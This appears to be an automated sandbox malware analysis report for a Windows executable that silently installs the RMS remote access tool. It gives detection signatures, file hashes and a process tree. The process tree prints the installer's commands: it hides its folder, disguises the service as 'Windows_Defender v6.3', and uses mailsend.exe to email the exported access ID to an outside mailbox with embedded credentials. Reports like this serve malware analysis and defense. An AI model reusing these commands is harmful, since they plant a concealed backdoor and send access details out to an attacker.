Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-08-2024 11:30

General

  • Target

    c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe

  • Size

    4.5MB

  • MD5

    c2e68d0204a75aa1f1f0615ec8883a67

  • SHA1

    847dc490286760dd92fa8b95946c283ff4b0032e

  • SHA256

    a151e201eef789f2f07854f967286de25a1ceeef7657e0c5e6b655af12e23ca5

  • SHA512

    3653a2eb66c8a96905d223a7ec7d7e997fb3bcfa2cd626a05e12ee2a23b7bfa1ef89dc9205934c38e47e58030d0318e063fe8ce806cb2397f7bec78428508b39

  • SSDEEP

    98304:HKF7KQF1iEaGzM038RzYf0ML2x5tTDaLclizt5C1:HS7KQrLM/RzYI7Da4Im

Malware Config

Signatures

  • RMS

    Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.

  • Sets file to hidden 1 TTPs 2 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • ACProtect 1.3x - 1.4x DLL software 2 IoCs

    Detects file using ACProtect software.

  • ASPack v2.12-2.42 2 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 8 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 35 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 31 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Delays execution with timeout.exe 3 IoCs
  • Kills process with taskkill 4 IoCs
  • Modifies registry class 1 IoCs
  • Runs .reg file with regedit 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious behavior: SetClipboardViewer 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3672
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Program Files (x86)\System\install.vbs"
      2⤵
      • Checks computer location settings
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5056
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\System\install.bat" "
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2036
        • C:\Windows\SysWOW64\attrib.exe
          attrib "C:\Program Files (x86)\System" +H +S /S /D
          4⤵
          • Sets file to hidden
          • Drops file in Program Files directory
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:3952
        • C:\Windows\SysWOW64\attrib.exe
          attrib "C:\Program Files (x86)\System\*.*" +H +S /S /D
          4⤵
          • Sets file to hidden
          • Drops file in Program Files directory
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:4860
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /f /im rutserv.exe
          4⤵
          • System Location Discovery: System Language Discovery
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:4200
        • C:\Windows\SysWOW64\taskkill.exe
          Taskkill /f /im rutserv.exe
          4⤵
          • System Location Discovery: System Language Discovery
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1996
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /f /im rfusclient.exe
          4⤵
          • System Location Discovery: System Language Discovery
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2652
        • C:\Windows\SysWOW64\taskkill.exe
          Taskkill /f /im rfusclient.exe
          4⤵
          • System Location Discovery: System Language Discovery
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:432
        • C:\Windows\SysWOW64\reg.exe
          reg delete "HKLM\SYSTEM\Remote Manipulator System" /f
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4504
        • C:\Windows\SysWOW64\regedit.exe
          regedit /s "regedit.reg"
          4⤵
          • System Location Discovery: System Language Discovery
          • Runs .reg file with regedit
          PID:4180
        • C:\Windows\SysWOW64\timeout.exe
          timeout 2
          4⤵
          • System Location Discovery: System Language Discovery
          • Delays execution with timeout.exe
          PID:1384
        • C:\Program Files (x86)\System\rutserv.exe
          rutserv.exe /silentinstall
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:384
        • C:\Program Files (x86)\System\rutserv.exe
          rutserv.exe /firewall
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of SetWindowsHookEx
          PID:1520
        • C:\Program Files (x86)\System\rutserv.exe
          rutserv.exe /start
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:4740
        • C:\Windows\SysWOW64\sc.exe
          sc failure RManService reset= 0 actions= restart/1000/restart/1000/restart/1000
          4⤵
          • Launches sc.exe
          • System Location Discovery: System Language Discovery
          PID:1612
        • C:\Windows\SysWOW64\sc.exe
          sc config RManService obj= LocalSystem type= interact type= own
          4⤵
          • Launches sc.exe
          • System Location Discovery: System Language Discovery
          PID:3216
        • C:\Windows\SysWOW64\sc.exe
          sc config RManService DisplayName= "Windows_Defender v6.3"
          4⤵
          • Launches sc.exe
          • System Location Discovery: System Language Discovery
          PID:4908
        • C:\Windows\SysWOW64\timeout.exe
          timeout 120
          4⤵
          • System Location Discovery: System Language Discovery
          • Delays execution with timeout.exe
          PID:3976
        • C:\Windows\SysWOW64\reg.exe
          reg export "HKEY_LOCAL_MACHINE\SYSTEM\Remote Manipulator System\v4" "id.txt"
          4⤵
          • Drops file in Program Files directory
          • System Location Discovery: System Language Discovery
          PID:3212
        • C:\Windows\SysWOW64\timeout.exe
          timeout 10
          4⤵
          • System Location Discovery: System Language Discovery
          • Delays execution with timeout.exe
          PID:2988
        • C:\Program Files (x86)\System\mailsend.exe
          mailsend.exe -t [email protected] -attach id.txt,application/txt -sub "RMS" -smtp smtp.yandex.ru -port 465 -f [email protected] -name "RMS" -ssl -auth-login -user liurov02 -pass brawlstars33 -q
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:3080
        • C:\Windows\SysWOW64\attrib.exe
          attrib "C:\Program Files (x86)\System\regedit.reg" -S -H /S /D
          4⤵
          • Drops file in Program Files directory
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:4940
        • C:\Windows\SysWOW64\attrib.exe
          attrib "C:\Program Files (x86)\System\mailsend.exe" -S -H /S /D
          4⤵
          • Drops file in Program Files directory
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:4876
        • C:\Windows\SysWOW64\attrib.exe
          attrib "C:\Program Files (x86)\System\id.txt" -S -H /S /D
          4⤵
          • Drops file in Program Files directory
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:3320
        • C:\Windows\SysWOW64\attrib.exe
          attrib "C:\Program Files (x86)\System\install.vbs" -S -H /S /D
          4⤵
          • Drops file in Program Files directory
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:2652
        • C:\Windows\SysWOW64\attrib.exe
          attrib "C:\Program Files (x86)\System\install.bat" -S -H /S /D
          4⤵
          • Drops file in Program Files directory
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:4444
  • C:\Program Files (x86)\System\rutserv.exe
    "C:\Program Files (x86)\System\rutserv.exe"
    1⤵
    • Executes dropped EXE
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4416
    • C:\Program Files (x86)\System\rfusclient.exe
      "C:\Program Files (x86)\System\rfusclient.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4872
      • C:\Program Files (x86)\System\rfusclient.exe
        "C:\Program Files (x86)\System\rfusclient.exe" /tray
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: SetClipboardViewer
        PID:2872
    • C:\Program Files (x86)\System\rfusclient.exe
      "C:\Program Files (x86)\System\rfusclient.exe" /tray
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:5036

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Program Files (x86)\System\install.bat

    Filesize

    1KB

    MD5

    c6e01f51df0c9ac47265b9c29b6ee7a7

    SHA1

    3bc0f86e02bfe9c9090227681241cb2b49858831

    SHA256

    a610273887ddabe5cf0c560672d4669d5022c74ded2e89aa97a988c11311acdb

    SHA512

    9ebb76017395032a95b59eaab1e2ac320601fddb4fc521409646cd6b86a456837ad0900595e065b39a51f429848574e5021409dbc42edd114260273cb44ff4c5

  • C:\Program Files (x86)\System\install.vbs

    Filesize

    120B

    MD5

    c719a030434d3fa96d62868f27e904a6

    SHA1

    f2f750a752dd1fda8915a47b082af7cf2d3e3655

    SHA256

    2696ee4302a85c6b4101fc6d1ce8e38b94fd9c2bbd1acc73b553576b3aacb92f

    SHA512

    47a9367f7596d19c0636766cd34ca3701d3b1239a284f2333fd04a48422f53b0df21002fd38a4f229f6a2f9f9e8163267e13ecb24d9ce6de1863d5f59ab04ff0

  • C:\Program Files (x86)\System\mailsend.exe

    Filesize

    1.2MB

    MD5

    ac23b87f8ec60ddd3f555556f89a6af8

    SHA1

    3cea6f84757d15ee8d7fa19d3dfc4992c50aa90c

    SHA256

    80a1d0a15066c7af67cf5377e59e450c2a96018505236f8f3352173282b27ae4

    SHA512

    57e67eab9c2a3b94161500eb0091533a539454e9bfddd47c61477299de9455b7ca11c498c5d8a7d77f4763a2053acb4ff96868a9313fede29969edc16d35b167

  • C:\Program Files (x86)\System\regedit.reg

    Filesize

    12KB

    MD5

    251212852a073e6fc5fbe3af92f66adb

    SHA1

    6ee07cb20f57830325c11867e68fea49ae0e87ea

    SHA256

    f2c83f4cc13b0cd28090dd128ec5ff221681118f6100eddaead88526070ceecb

    SHA512

    f3853ece99edc6d39edbf1c7bca471e71aa034684a85358b033e50418ffa061f1e8724cba76065048901c20c9f9a6dbd86a17ee33756c0452d4d3358047296be

  • C:\Program Files (x86)\System\rfusclient.exe

    Filesize

    1.5MB

    MD5

    b8667a1e84567fcf7821bcefb6a444af

    SHA1

    9c1f91fe77ad357c8f81205d65c9067a270d61f0

    SHA256

    dc9d875e659421a51addd8e8a362c926369e84320ab0c5d8bbb1e4d12d372fc9

    SHA512

    ec6af663a3b41719d684f04504746f91196105ef6f8baa013b4bd02df6684eca49049d5517691f8e3a4ba6351fe35545a27f728b1d29d949e950d574a012f852

  • C:\Program Files (x86)\System\rutserv.exe

    Filesize

    1.7MB

    MD5

    37a8802017a212bb7f5255abc7857969

    SHA1

    cb10c0d343c54538d12db8ed664d0a1fa35b6109

    SHA256

    1699b9b4fc1724f9b0918b57ca58c453829a3935efd89bd4e9fa66b5e9f2b8a6

    SHA512

    4e20141da8ea4499daf8be5cc41b664dc4229e9575765caf6dc5873d8d0a09f9e200988e1404e767d0415005876a4cf38d5737bd3e1b2c12c4a8fb28adb4f0a0

  • C:\Program Files (x86)\System\vp8decoder.dll

    Filesize

    155KB

    MD5

    88318158527985702f61d169434a4940

    SHA1

    3cc751ba256b5727eb0713aad6f554ff1e7bca57

    SHA256

    4c04d7968a9fe9d9258968d3a722263334bbf5f8af972f206a71f17fa293aa74

    SHA512

    5d88562b6c6d2a5b14390512712819238cd838914f7c48a27f017827cb9b825c24ff05a30333427acec93cd836e8f04158b86d17e6ac3dd62c55b2e2ff4e2aff

  • C:\Program Files (x86)\System\vp8encoder.dll

    Filesize

    593KB

    MD5

    6298c0af3d1d563834a218a9cc9f54bd

    SHA1

    0185cd591e454ed072e5a5077b25c612f6849dc9

    SHA256

    81af82019d9f45a697a8ca1788f2c5c0205af9892efd94879dedf4bc06db4172

    SHA512

    389d89053689537cdb582c0e8a7951a84549f0c36484db4346c31bdbe7cb93141f6a354069eb13e550297dc8ec35cd6899746e0c16abc876a0fe542cc450fffe

  • C:\Users\Admin\AppData\Local\Temp\REG8766.tmp

    Filesize

    20KB

    MD5

    ad06ea5dab2002ee92e222fce2861869

    SHA1

    147420fd97f35523b9072fd71b86a9b33d8e46fb

    SHA256

    57c08d7887c93fad9f3ebccd07808f984dd5b291ad42acc3263e17fe43283bd4

    SHA512

    93fb723715436e178fca2db1b73c02ffb447a7007f87b948dd287d6ec72d3a89a82f7a7393b30acbbb082d5242866840e83c5a5bc6066ec3665fa544685f36f2

  • memory/384-31-0x0000000000400000-0x0000000000AB9000-memory.dmp

    Filesize

    6.7MB

  • memory/384-28-0x0000000000400000-0x0000000000AB9000-memory.dmp

    Filesize

    6.7MB

  • memory/384-30-0x0000000000400000-0x0000000000AB9000-memory.dmp

    Filesize

    6.7MB

  • memory/384-32-0x0000000000400000-0x0000000000AB9000-memory.dmp

    Filesize

    6.7MB

  • memory/384-34-0x0000000000400000-0x0000000000AB9000-memory.dmp

    Filesize

    6.7MB

  • memory/384-27-0x0000000000400000-0x0000000000AB9000-memory.dmp

    Filesize

    6.7MB

  • memory/384-29-0x0000000000400000-0x0000000000AB9000-memory.dmp

    Filesize

    6.7MB

  • memory/1520-41-0x0000000000400000-0x0000000000AB9000-memory.dmp

    Filesize

    6.7MB

  • memory/1520-37-0x0000000000400000-0x0000000000AB9000-memory.dmp

    Filesize

    6.7MB

  • memory/1520-36-0x0000000000400000-0x0000000000AB9000-memory.dmp

    Filesize

    6.7MB

  • memory/1520-40-0x0000000000400000-0x0000000000AB9000-memory.dmp

    Filesize

    6.7MB

  • memory/1520-43-0x0000000000400000-0x0000000000AB9000-memory.dmp

    Filesize

    6.7MB

  • memory/1520-39-0x0000000000400000-0x0000000000AB9000-memory.dmp

    Filesize

    6.7MB

  • memory/1520-38-0x0000000000400000-0x0000000000AB9000-memory.dmp

    Filesize

    6.7MB

  • memory/2872-83-0x0000000000400000-0x00000000009B6000-memory.dmp

    Filesize

    5.7MB

  • memory/2872-78-0x0000000000400000-0x00000000009B6000-memory.dmp

    Filesize

    5.7MB

  • memory/2872-87-0x0000000000400000-0x00000000009B6000-memory.dmp

    Filesize

    5.7MB

  • memory/2872-81-0x0000000000400000-0x00000000009B6000-memory.dmp

    Filesize

    5.7MB

  • memory/2872-82-0x0000000000400000-0x00000000009B6000-memory.dmp

    Filesize

    5.7MB

  • memory/2872-80-0x0000000000400000-0x00000000009B6000-memory.dmp

    Filesize

    5.7MB

  • memory/2872-79-0x0000000000400000-0x00000000009B6000-memory.dmp

    Filesize

    5.7MB

  • memory/4416-55-0x0000000000400000-0x0000000000AB9000-memory.dmp

    Filesize

    6.7MB

  • memory/4416-109-0x0000000000400000-0x0000000000AB9000-memory.dmp

    Filesize

    6.7MB

  • memory/4416-92-0x0000000000400000-0x0000000000AB9000-memory.dmp

    Filesize

    6.7MB

  • memory/4416-88-0x0000000000400000-0x0000000000AB9000-memory.dmp

    Filesize

    6.7MB

  • memory/4416-95-0x0000000000400000-0x0000000000AB9000-memory.dmp

    Filesize

    6.7MB

  • memory/4416-53-0x0000000000400000-0x0000000000AB9000-memory.dmp

    Filesize

    6.7MB

  • memory/4416-116-0x0000000000400000-0x0000000000AB9000-memory.dmp

    Filesize

    6.7MB

  • memory/4416-57-0x0000000000400000-0x0000000000AB9000-memory.dmp

    Filesize

    6.7MB

  • memory/4416-52-0x0000000000400000-0x0000000000AB9000-memory.dmp

    Filesize

    6.7MB

  • memory/4416-54-0x0000000000400000-0x0000000000AB9000-memory.dmp

    Filesize

    6.7MB

  • memory/4416-56-0x0000000000400000-0x0000000000AB9000-memory.dmp

    Filesize

    6.7MB

  • memory/4416-76-0x0000000000400000-0x0000000000AB9000-memory.dmp

    Filesize

    6.7MB

  • memory/4416-99-0x0000000000400000-0x0000000000AB9000-memory.dmp

    Filesize

    6.7MB

  • memory/4740-73-0x0000000000400000-0x0000000000AB9000-memory.dmp

    Filesize

    6.7MB

  • memory/4740-46-0x0000000000400000-0x0000000000AB9000-memory.dmp

    Filesize

    6.7MB

  • memory/4740-48-0x0000000000400000-0x0000000000AB9000-memory.dmp

    Filesize

    6.7MB

  • memory/4740-49-0x0000000000400000-0x0000000000AB9000-memory.dmp

    Filesize

    6.7MB

  • memory/4740-50-0x0000000000400000-0x0000000000AB9000-memory.dmp

    Filesize

    6.7MB

  • memory/4740-47-0x0000000000400000-0x0000000000AB9000-memory.dmp

    Filesize

    6.7MB

  • memory/4740-45-0x0000000000400000-0x0000000000AB9000-memory.dmp

    Filesize

    6.7MB

  • memory/4872-72-0x0000000000400000-0x00000000009B6000-memory.dmp

    Filesize

    5.7MB

  • memory/4872-69-0x0000000000400000-0x00000000009B6000-memory.dmp

    Filesize

    5.7MB

  • memory/4872-68-0x0000000000400000-0x00000000009B6000-memory.dmp

    Filesize

    5.7MB

  • memory/4872-84-0x0000000000400000-0x00000000009B6000-memory.dmp

    Filesize

    5.7MB

  • memory/4872-71-0x0000000000400000-0x00000000009B6000-memory.dmp

    Filesize

    5.7MB

  • memory/4872-70-0x0000000000400000-0x00000000009B6000-memory.dmp

    Filesize

    5.7MB

  • memory/4872-60-0x0000000000400000-0x00000000009B6000-memory.dmp

    Filesize

    5.7MB

  • memory/5036-64-0x0000000000400000-0x00000000009B6000-memory.dmp

    Filesize

    5.7MB

  • memory/5036-90-0x0000000000400000-0x00000000009B6000-memory.dmp

    Filesize

    5.7MB

  • memory/5036-94-0x0000000000400000-0x00000000009B6000-memory.dmp

    Filesize

    5.7MB

  • memory/5036-85-0x0000000000400000-0x00000000009B6000-memory.dmp

    Filesize

    5.7MB

  • memory/5036-61-0x0000000000400000-0x00000000009B6000-memory.dmp

    Filesize

    5.7MB

  • memory/5036-101-0x0000000000400000-0x00000000009B6000-memory.dmp

    Filesize

    5.7MB

  • memory/5036-63-0x0000000000400000-0x00000000009B6000-memory.dmp

    Filesize

    5.7MB

  • memory/5036-111-0x0000000000400000-0x00000000009B6000-memory.dmp

    Filesize

    5.7MB

  • memory/5036-66-0x0000000000400000-0x00000000009B6000-memory.dmp

    Filesize

    5.7MB

  • memory/5036-65-0x0000000000400000-0x00000000009B6000-memory.dmp

    Filesize

    5.7MB

  • memory/5036-62-0x0000000000400000-0x00000000009B6000-memory.dmp

    Filesize

    5.7MB